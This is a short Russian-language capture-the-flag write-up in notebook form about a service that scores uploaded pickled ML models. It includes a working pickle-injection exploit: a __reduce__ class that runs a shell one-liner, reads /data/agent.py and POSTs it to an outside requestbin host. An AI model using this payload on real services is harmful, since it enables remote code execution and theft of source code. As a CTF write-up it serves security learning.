[AI CTF Writeup] Prediction Challenge

AICTF_Prediction_Challenge.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# AI CTF Writeup [RU]"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Prediction Challenge (200)\n",
    "\n",
    "Нам дан сервис, в который необходимо загрузить нечто и выбить скор 1.0. Из логики сервиса понимаем, что нужно загрузить некую ML-модель, которую сервис заскорит и выдаст нам скор. Однако самая сложная часть таска -- понять, какую же именно модель нужно загружать. При любой ошибке сервис выдает 0.0, и сначала даже не очень понятно, все ли мы делаем правильно и действительно ли сервис скорит модель. В какой-то момент приходит идея отправить запикленную sklearn-модель на 10 фичах. Треним random forest и засылаем. Ура, пробили 0, теперь мы точно знаем, что сервис кушает пикл. На всякий случай засылаем модели с разным количеством фич и убеждаемся, что модель только скорится, не тренируется. Так как количество посылок не ограничено, приходят всякие мысли про leaderboard probing, но в конце концов мы забиваем и останавливаемся на pickle injection. "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "exploit = \"\"\"python3 -c \"import urllib.request; import urllib.parse; urllib.request.urlopen('https://en4ooilchp4w2.x.pipedream.net', data=urllib.parse.urlencode({'kekes': __import__('os').popen('cat /data/agent.py').read()}).encode())\" \"\"\"\n",
    "\n",
    "class Kek:\n",
    "    def __reduce__(self):\n",
    "        return (__import__('os').system, ((exploit), ))"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Сделаем вот такой класс `Kek` и сможем исполнять любой код. В этом конкретном примере мы POST-запросом вытягиваем сорцы сервиса на requestbin. Так как мы уже знаем формат модели, то логично будет вытянуть данные и заоверфитить модель, которая наберет 1.0. Это и делаем, получаем флаг."
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.6.1"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 2
}